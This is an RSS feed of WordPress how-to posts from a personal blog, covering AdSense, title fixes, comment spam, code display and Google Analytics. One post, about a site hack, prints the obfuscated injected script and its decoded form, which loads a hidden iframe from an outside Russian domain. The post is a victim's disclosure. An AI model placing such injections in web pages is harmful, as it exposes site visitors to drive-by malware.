<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Adventures, Tips, and Technology &#187; WordPress</title>
	<atom:link href="http://www.trentmueller.com/blog/category/wordpress/feed" rel="self" type="application/rss+xml" />
	<link>http://www.trentmueller.com/blog</link>
	<description>A blog by Trent Mueller</description>
	<lastBuildDate>Fri, 09 Dec 2011 18:07:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Adding AdSense to a WordPress Blog</title>
		<link>http://www.trentmueller.com/blog/adding-adsense-to-a-wordpress-blog.html</link>
		<comments>http://www.trentmueller.com/blog/adding-adsense-to-a-wordpress-blog.html#comments</comments>
		<pubDate>Mon, 14 Dec 2009 03:56:26 +0000</pubDate>
		<dc:creator>Trent M</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.trentmueller.com/blog/adding-adsense-to-a-wordpress-blog.html</guid>
		<description><![CDATA[I relented and added Google AdSense ads to my personal WordPress blog. Finally chose to convert some of the traffic to a little $ cash. I’ve been using it on two of my other sites and have been pleased with &#8230; <a href="http://www.trentmueller.com/blog/adding-adsense-to-a-wordpress-blog.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.trentmueller.com/blog/wp-content/uploads/2009/12/adsense_logo.gif"><img title="adsense_logo" style="border-right: 0px; border-top: 0px; display: inline; border-left: 0px; border-bottom: 0px" height="40" alt="adsense_logo" src="http://www.trentmueller.com/blog/wp-content/uploads/2009/12/adsense_logo_thumb.gif" width="203" border="0" /></a> </p>
</p>
<p>I relented and added Google AdSense ads to my personal WordPress blog. Finally chose to convert some of the traffic to a little $ cash. I’ve been using it on two of my other sites and have been pleased with its performance. I was trying to avoid commercializing and spamacizing my blog, but oh well.</p>
<p>It was fairly easy to install in WordPress. The configuration, however, takes a bit more time. </p>
<p>I downloaded the AdSense Manager plugin for WordPress, then uploaded the folder to the plugins folder. In the ‘plugins’ tab, activated the plugin, then went to Settings &gt; AdSense Manager to configure it. It involved copying the code I got from Google’s AdSense page and pasting it in my WordPress AdSense Manager config page. </p>
<p>I had thought it would then magically start displaying ads, but it really takes more work. You can manually type [ ad ] (without spaces) at the bottom of each post and it will show an ad, if you have the size configured properly where it fits in your WordPress theme. I had previously sized it too large 768&#215;60 or something, where it didn’t fit in the column of the template and didn’t display, so that’s something to be aware of.</p>
<p>Instead of typing the ad tag at the bottom of each post, it’s better to add it to the template. I had thought the footer would be the right choice, but it doesn’t display the ads correctly. Easier is to add to the bottom of the Main Index Template. Go to Appearance &gt; Editor, then select Main Index Template index.php on the right side of the screen. Then mid way in the code enter:</p>
<blockquote><p>&lt;?php adsensem_ad(); ?&gt;</p>
</blockquote>
<p>I placed it between &lt;?php wp_link_pages(); ?&gt; and a div tag &lt;/div&gt;, but this probably varies based on your theme. Just stick it in somewhere and do a preview to see how it looks.</p>
<p>Keep in mind these instructions don’t apply for older versions of WordPress. The admin interface was significantly changed in the last year or so.</p>
<p>If you don’t already have an AdSense account, it will take a few more steps to get running. The layout of the ads aren’t 100% to my liking, but it will do for now.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.trentmueller.com/blog/adding-adsense-to-a-wordpress-blog.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Remove the Arrows » from WordPress Titles (&#187;)</title>
		<link>http://www.trentmueller.com/blog/remove-the-arrows-%c2%bb-from-wordpress-titles.html</link>
		<comments>http://www.trentmueller.com/blog/remove-the-arrows-%c2%bb-from-wordpress-titles.html#comments</comments>
		<pubDate>Wed, 07 Jan 2009 04:14:24 +0000</pubDate>
		<dc:creator>Trent M</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[arrow]]></category>
		<category><![CDATA[character]]></category>
		<category><![CDATA[raquo]]></category>
		<category><![CDATA[Remove]]></category>
		<category><![CDATA[symbol]]></category>
		<category><![CDATA[titles]]></category>

		<guid isPermaLink="false">http://www.trentmueller.com/blog/?p=132</guid>
		<description><![CDATA[WordPress is a great blogging platform, but it has a bothersome issue of adding the double arrow symbol » before the titles of postings on some templates. The arrow >> is usually used as a special bullet character and the &#8230; <a href="http://www.trentmueller.com/blog/remove-the-arrows-%c2%bb-from-wordpress-titles.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>WordPress is a great blogging platform, but it has a bothersome issue of adding the double arrow symbol » before the titles of postings on some templates. The arrow >> is usually used as a special bullet character and the escaped html code is &raquo; or 00BB 0020 in hex code.</p>
<p><strong>How to remove the » character from titles:</strong></p>
<p>1. Edit the header.php file of your theme. It can be<br />
found at: wp-content > themes > [YOUR CHOSEN THEME] > header.php</p>
<p>2. Copy this new code:</p>
<blockquote><p>&lt;title&gt;&lt;?php wp_title(&#8216; &#8216;); if(wp_title(&#8216; &#8216;, false)) { ?&gt; | &lt;?php } bloginfo(&#8216;name&#8217;); ?&gt;&lt;/title&gt;</p></blockquote>
<p>3. Find the &lt;title&gt; tags in your header.php document (near the top- approx line 7). Select everything between &lt;title&gt; and &lt;/title&gt; and paste to replace it with the new code.</p>
<p>After updating, your category pages, archives, tags, and home page should all show the correct title without the &raquo;.</p>
<p>Additionally, if you wish to remove the » from the sidebar categories and archives, you may edit the &#8216;style.css&#8217; file in your theme&#8217;s folder, then find and remove the following code:</p>
<blockquote><p>.entry ul li:before, #sidebar ul ul li:before {<br />
content: &quot;\00BB \0020&quot;;<br />
}</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.trentmueller.com/blog/remove-the-arrows-%c2%bb-from-wordpress-titles.html/feed</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>HTML/Framer.Z Virus in WordPress</title>
		<link>http://www.trentmueller.com/blog/htmlframerz-virus-in-wordpress.html</link>
		<comments>http://www.trentmueller.com/blog/htmlframerz-virus-in-wordpress.html#comments</comments>
		<pubDate>Sat, 28 Jun 2008 19:06:45 +0000</pubDate>
		<dc:creator>Trent M</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://www.trentmueller.com/blog/?p=68</guid>
		<description><![CDATA[Woohoo! I just love it when someone hacks my website and installs a virus. Here&#8217;s a nice little flag that AVG gave me: Fortunately, an upgrade from WordPress 2.2 to 2.5 and a little cleanup of the html on the &#8230; <a href="http://www.trentmueller.com/blog/htmlframerz-virus-in-wordpress.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Woohoo! I just love it when someone hacks my website and installs a virus. Here&#8217;s a nice little flag that AVG gave me:</p>
<p><img src="http://www.trentmueller.com/images/framer-z-virus.gif" alt="Framer.Z Virus in WordPress" /></p>
<p>Fortunately, an upgrade from WordPress 2.2 to 2.5 and a little cleanup of the html on the homepage did the trick. This is what some hacker installed on my root index.htm file (commented just in case):</p>
<blockquote><p>
&lt;!&#8211; &lt;script&gt;eval(unescape(&quot;%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%34%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%74%72%61%66%66%75%72%6c%2e%72%75%2f%73%6c%69%76%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%32%37%35%34%37%31%29%2b%27%38%30%35%34%61%38%65%32%65%5c%27%20%77%69%64%74%68%3d%36%36%37%20%68%65%69%67%68%74%3d%34%31%33%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29&quot;)); &lt;/script&gt; &#8211;&gt;
</p></blockquote>
<p>And when this code is &#8216;unescaped&#8217; it translates into:</p>
<blockquote><p>
&lt;!&#8211; (&quot;window.status=&#8217;Done&#8217;;document.write(&#8216;&lt;iframe name=4 src=\&#8217;http://traffurl.ru/sliv?&#8217;+Math.round(Math.random()*275471)+&#8217;8054a8e2e\&#8217; width=667 height=413 style=\&#8217;display: none\&#8217;&gt;&lt;/iframe&gt;&#8217;) &#8211;&gt;
</p></blockquote>
<p>I did a whois search on this Russian domain, but didn&#8217;t find any results. Thank you hackers for showing the love.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.trentmueller.com/blog/htmlframerz-virus-in-wordpress.html/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>WordPress: The Ultimate Google Ranking Machine</title>
		<link>http://www.trentmueller.com/blog/wordpress-the-ultimate-google-ranking-machine.html</link>
		<comments>http://www.trentmueller.com/blog/wordpress-the-ultimate-google-ranking-machine.html#comments</comments>
		<pubDate>Sun, 06 Apr 2008 21:44:44 +0000</pubDate>
		<dc:creator>Trent M</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.trentmueller.com/blog/wordpress-the-ultimate-google-ranking-machine.html</guid>
		<description><![CDATA[Google loves WordPress. WordPress content is a nice, tasty meal for those hungry Google spiders. In some cases within 45 minutes of posting, content on my blog was ranked #1 for certain keyword combinations. That&#8217;s impressive how quickly Google will &#8230; <a href="http://www.trentmueller.com/blog/wordpress-the-ultimate-google-ranking-machine.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.trentmueller.com/images/wordpress-logo.gif" alt="WordPress ranks high in Google" /></p>
<p>Google loves WordPress. WordPress content is a nice, tasty meal for those hungry Google spiders.</p>
<p>In some cases within 45 minutes of posting, content on my blog was ranked #1 for certain keyword combinations. That&#8217;s impressive how quickly Google will scan and update it&#8217;s SERPs with freshly blogged content. Recent postings on this very blog demonstrate that.</p>
<p>On March 29, 2008, I witnessed a scene of a <a href="http://www.trentmueller.com/blog/fatal-car-crash-on-i-5-near-longview-washington.html">crash along I-5 in Kelso, Washington</a>- an event that affected thousands of travellers. When I got home, I went ahead and made a blog posting about it. Within 45 minutes, it was picked up by Google and ranking as the top page for all of those people Googling to find more information about it. No official news story was even published until the next day, so all of the search traffic went to this blog. The local newspaper, TDN, made their posting, but they didn&#8217;t use WordPress- they use their own system that is not optimized for search engines and probably lacks the auto-pinging functionality WordPress has. So, even though they have a better story, theirs didn&#8217;t come up in search rankings as high as my little blog posting did.</p>
<p>These screenshots were captured only today, but these keywords,<br />
<a href="http://www.trentmueller.com/blog/fatal-car-crash-on-i-5-near-longview-washington.html"><strong>car crash longview</strong></a>, were ranked #1 like this within 45 minutes of posting:</p>
<p><img src="http://www.trentmueller.com/images/google-fatal-car-crash-longview.gif" alt="Fatal Car Crash near Longview, Washington" /></p>
<p>Google works fast. </p>
<p>Here is another example, with the keywords: <strong>car crash i-5</strong></p>
<p><img src="http://www.trentmueller.com/images/google-car-crash-i-5.gif" alt="Car crash on I-5" /></p>
<p>When you think about it, I-5 is a LONG freeway, extending 1,381 miles from Canada all the way to Mexico. It spans major metro areas, including Seattle, Portland, Sacramento, Los Angeles, and San Diego. There are multiple wrecks every day on I-5 just in Portland alone. But think of all the wrecks that occur daily on the entire freeway and of the many thousands of people affected! Some of these people will be impacted and will search Google to find more information. So, for this blog to be ranked #2 in Google for <strong>car crash i-5</strong> out of 235,000 results is crazy to me. WordPress is an ideal platform for fast, high rankings.</p>
<p>As another example, yesterday, I made a blog posting on the <a href="http://www.trentmueller.com/blog/best-places-to-dance-in-portland-oregon.html">Best Places to Dance in Portland</a>.</p>
<p>Today I checked the results, and it is ranked either #1 or the top 10 for many keyword combos: </p>
<p><img src="http://www.trentmueller.com/images/google-rank.gif" alt="Google Rank for Dancing in Portland" /></p>
<p><img src="http://www.trentmueller.com/images/google-rank2.gif" alt="High Google Ranking for Dances in Portland" /></p>
<p>In less than 24 hours, the keyword: <strong>Oregon Best Dancing</strong> ranked #3:</p>
<p><a href="http://www.trentmueller.com/blog/best-places-to-dance-in-portland-oregon.html"> <img src="http://www.trentmueller.com/images/google-oregon-best-dancing.gif" alt="Best Dancing in Oregon" /> </a></p>
<p>And finally here&#8217;s another keyword combo: <strong>Portland Best Dances</strong> that ranks 10th. </p>
<p><img src="http://www.trentmueller.com/images/google-portland-best-places-to-dance.gif" alt="Best Dancing in Oregon" /></p>
<p>Even 10th is not bad for less then 24 hours and not being an authority site on dancing. This is the only dance-related post. In fact, this blog is really new and doesn&#8217;t even have very much content yet. Compare this to the many other dance websites that have been running for years with much content. Isn&#8217;t it strange that a single random WordPress posting can outrank many of these established dance websites? It shows the true importance of SEO and specifically WordPress as a web marketing tool.</p>
<p>WordPress also outperforms my custom-made <a href="http://www.trentmueller.com/internet-marketing-articles.php">Internet Marketing Articles</a> area. Even though this section also has a similar structure, has good SEO, and has RSS feeds, it does not seem to get as high of rankings as WordPress does. WordPress has the advantage of the auto-pinging feature, along with my unproven hunch that Google favors blogs, especially the spider-friendly WordPress structure. </p>
<p>This WordPress blog is not overly pimped out, but uses a simple open source theme that is SEO friendly and I added a Twitter plug-in. That&#8217;s about it.</p>
<p>That should be adequate enough of a posting for you to look into this Google-influencing blog platform. The next time I do a Google search, I&#8217;ll be looking for your WordPress blog on the front page.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.trentmueller.com/blog/wordpress-the-ultimate-google-ranking-machine.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Eliminate URL Comment Spam from WordPress</title>
		<link>http://www.trentmueller.com/blog/eliminate-url-comment-spam-from-wordpress.html</link>
		<comments>http://www.trentmueller.com/blog/eliminate-url-comment-spam-from-wordpress.html#comments</comments>
		<pubDate>Sat, 05 Apr 2008 17:14:00 +0000</pubDate>
		<dc:creator>Trent M</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.trentmueller.com/blog/eliminate-url-comment-spam-from-wordpress.html</guid>
		<description><![CDATA[The default installation of WordPress is vulnerable to comment spam. There are a few ways around it: 1. Activate Akismet, a spam catcher &#8211; the problem is it can sometimes generate &#8216;false positives&#8217; 2. Add a captcha &#8211; can be &#8230; <a href="http://www.trentmueller.com/blog/eliminate-url-comment-spam-from-wordpress.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.trentmueller.com/images/wordpress-logo.gif" alt="Wordpress logo" /></p>
<p>The default installation of WordPress is vulnerable to comment spam.</p>
<p>There are a few ways around it:<br />
1. Activate Akismet, a spam catcher &#8211; the problem is it can sometimes generate &#8216;false positives&#8217;<br />
2. Add a captcha &#8211; can be tricky to install and is an extra hurdle commenters have to get right- may prevent some postings.<br />
3. Remove the URL field altogether!</p>
<p>I will show you the simple, manual way to remove the URL field:</p>
<p>1. Open your comments.php file in your HTML editor. From the root folder of your blog, go to wp-content\themes\default if you&#8217;re using the default template. If you are using a theme, select the appropriate folder of your theme, then open its comments.php file. Note: if you do not have an HTML editor, such as Dreamweaver, then open the .php file as text in Notepad. If you don&#8217;t know how to find your Notepad, just go to the start menu > Run&#8230; > and then type in &#8216;notepad&#8217; and click OK- it will open and edit your .php file as text.</p>
<p>2. Search for this code:</p>
<blockquote><p>
&lt;p&gt;&lt;input type=&quot;text&quot; name=&quot;url&quot; id=&quot;url&quot; value=&quot;&lt;?php echo $comment_author_url; ?&gt;&quot; size=&quot;22&quot; tabindex=&quot;3&quot; /&gt;<br />
&lt;label for=&quot;url&quot;&gt;&lt;small&gt;Website&lt;/small&gt;&lt;/label&gt;&lt;/p&gt;</p>
<p>&lt;?php endif; ?&gt;</p>
<p>&lt;p&gt;&lt;small&gt;&lt;strong&gt;XHTML:&lt;/strong&gt; You can use these tags: &lt;?php echo allowed_tags(); ?&gt;&lt;/small&gt;&lt;/p&gt;</p>
</blockquote>
<p>3. Either delete this whole text, or &#8216;comment it out&#8217; (recommended). Add the tags in bold to turn the code into comments (thus, ignored):</p>
<blockquote><p>
<strong>&lt;!&#8211;</strong> &lt;p&gt;&lt;input type=&quot;text&quot; name=&quot;url&quot; id=&quot;url&quot; value=&quot;&lt;?php echo $comment_author_url; ?&gt;&quot; size=&quot;22&quot; tabindex=&quot;3&quot; /&gt;<br />
&lt;label for=&quot;url&quot;&gt;&lt;small&gt;Website&lt;/small&gt;&lt;/label&gt;&lt;/p&gt; <strong>&#8211;&gt;</strong></p>
<p>&lt;?php endif; ?&gt;</p>
<p><strong>&lt;!&#8211;</strong>&lt;p&gt;&lt;small&gt;&lt;strong&gt;XHTML:&lt;/strong&gt; You can use these tags: &lt;?php echo allowed_tags(); ?&gt;&lt;/small&gt;&lt;/p&gt;<strong>&#8211;&gt;</strong></p>
</blockquote>
<p>4. Save. That removes the URL field entirely, but we&#8217;re not finished. Because spammers have automated scripts that insert their URL variable right in the form without the need for a field. So, what we will do is change the code to stop the submission if a URL variable is set. With the URL field gone, it is not possible for a valid user submission to contain the URL variable, so by eliminating all URL variables, we don&#8217;t have to worry about false positives. It would be 100% spam, and we can prevent it&#8230;</p>
<p>5. Next, open up wp-comments-post.php &#8211; back to the root of your blog folder. Scroll down to where you see the following code:</p>
<blockquote><p>
if ( &#8221; == $comment_content )<br />
wp_die( __(&#8216;Error: please type a comment.&#8217;) );</p></blockquote>
<p>6. Now, underneath that code, copy and paste the following code:</p>
<blockquote><p>
if (!empty ($comment_author_url))<br />
wp_die( __(&#8216;Error: you are an idiot spammer.&#8217;) );
</p></blockquote>
<p>So, it should look like this:</p>
<blockquote><p>
&#8230;code before&#8230;</p>
<p>if ( &#8221; == $comment_content )<br />
wp_die( __(&#8216;Error: please type a comment.&#8217;) );</p>
<p>if (!empty ($comment_author_url))<br />
  wp_die( __(&#8216;Error: you are an idiot spammer.&#8217;) );</p>
<p>&#8230;code before&#8230;
</p></blockquote>
<p>7. Save. And FTP upload your 2 modified files to your server. You should not have any problem with automated spam URL fields anymore!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.trentmueller.com/blog/eliminate-url-comment-spam-from-wordpress.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How to Publish HTML Code in WordPress</title>
		<link>http://www.trentmueller.com/blog/how-to-publish-html-code-in-wordpress.html</link>
		<comments>http://www.trentmueller.com/blog/how-to-publish-html-code-in-wordpress.html#comments</comments>
		<pubDate>Sat, 29 Mar 2008 06:04:38 +0000</pubDate>
		<dc:creator>Trent M</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.trentmueller.com/blog/how-to-publish-html-code-in-wordpress.html</guid>
		<description><![CDATA[If you&#8217;re tried to write code in WordPress for displaying to readers, you&#8217;ve probably found out it doesn&#8217;t work too well, even using the &#8216;blockquote&#8217; or &#8216;code&#8217; tags before and after. There&#8217;s three ways to publish code in WordPress: 1. &#8230; <a href="http://www.trentmueller.com/blog/how-to-publish-html-code-in-wordpress.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>If you&#8217;re tried to write code in WordPress for displaying to readers, you&#8217;ve probably found out it doesn&#8217;t work too well, even using the &#8216;blockquote&#8217; or &#8216;code&#8217; tags before and after. </p>
<p>There&#8217;s three ways to publish code in WordPress:</p>
<p>1. Copy and paste your code into DreamWeaver while in the &#8216;Design View&#8217;, then click to the &#8216;Code View&#8217;. Your code is automatically converted to the correctly escaped characters. Just remove any additional code DreamWeaver added, like &lt;br&gt; or &lt;p&gt; tags, and copy and paste back into your WordPress blog posting. (easiest)</p>
<p>2. Take your code and either paste it in Dreamweaver or Word. Then manually do a search replace 4 separate times for this code. (harder)<br />
a. Search &quot; and replace with &amp;#34;<br />
b. Search &#8216; and replace with &amp;#39;<br />
c. Search / and replace with &amp;#47;<br />
d. Search &lt; and replace with &amp;lt;</p>
<p>Then copy and paste your replaced code back into your WordPress posting and it will display so readers can see it.</p>
<p>3. Take a screenshot of your code, crop, make smaller, save, upload, and link to the image URL (hardest, and has a drawback of losing SEO of the code as text in your blog).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.trentmueller.com/blog/how-to-publish-html-code-in-wordpress.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Add Google Analytics Code to WordPress</title>
		<link>http://www.trentmueller.com/blog/how-to-add-google-analytics-code-to-wordpress.html</link>
		<comments>http://www.trentmueller.com/blog/how-to-add-google-analytics-code-to-wordpress.html#comments</comments>
		<pubDate>Sat, 29 Mar 2008 05:43:39 +0000</pubDate>
		<dc:creator>Trent M</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.trentmueller.com/blog/how-to-add-google-analytics-code-to-wordpress.html</guid>
		<description><![CDATA[Don&#8217;t download any software. That is unnecessary- but is just a way for a guy to get extra links to his site. Simply go to your WordPress folder (the root of where all your files are installed), then open up &#8230; <a href="http://www.trentmueller.com/blog/how-to-add-google-analytics-code-to-wordpress.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Don&#8217;t download any software. That is unnecessary- but is just a way for a guy to get extra links to his site.</p>
<p>Simply go to your WordPress folder (the root of where all your files are installed), then open up  &#8216;wp-content&#8217; then open your theme folder. If you&#8217;re not using a custom theme, then just enter the &#8216;default&#8217; folder, then open footer.php.</p>
<p>In your HTML editor, copy and paste your Google tracking code immediately before the </body> tag. You get your code from within your Google Analytics account.</p>
<p>So, your footer code will then look something like this:</p>
<p>&lt;script src=&#34;http:&#47;&#47;www.google-analytics.com&#47;urchin.js&#34; type=&#34;text&#47; javascript&#34;><br />
&lt;&#47;script><br />
&lt;script type=&#34;text&#47;javascript&#34;><br />
_uacct=&#34;UA-000000-0&#34;;<br />
urchinTracker();<br />
&lt;&#47;script></p>
<p>&lt;&#47;body><br />
&lt;&#47;html></p>
<p>Wait a few days, and your visitor statistics should then be included in your Google Analytics report. Nifty.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.trentmueller.com/blog/how-to-add-google-analytics-code-to-wordpress.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

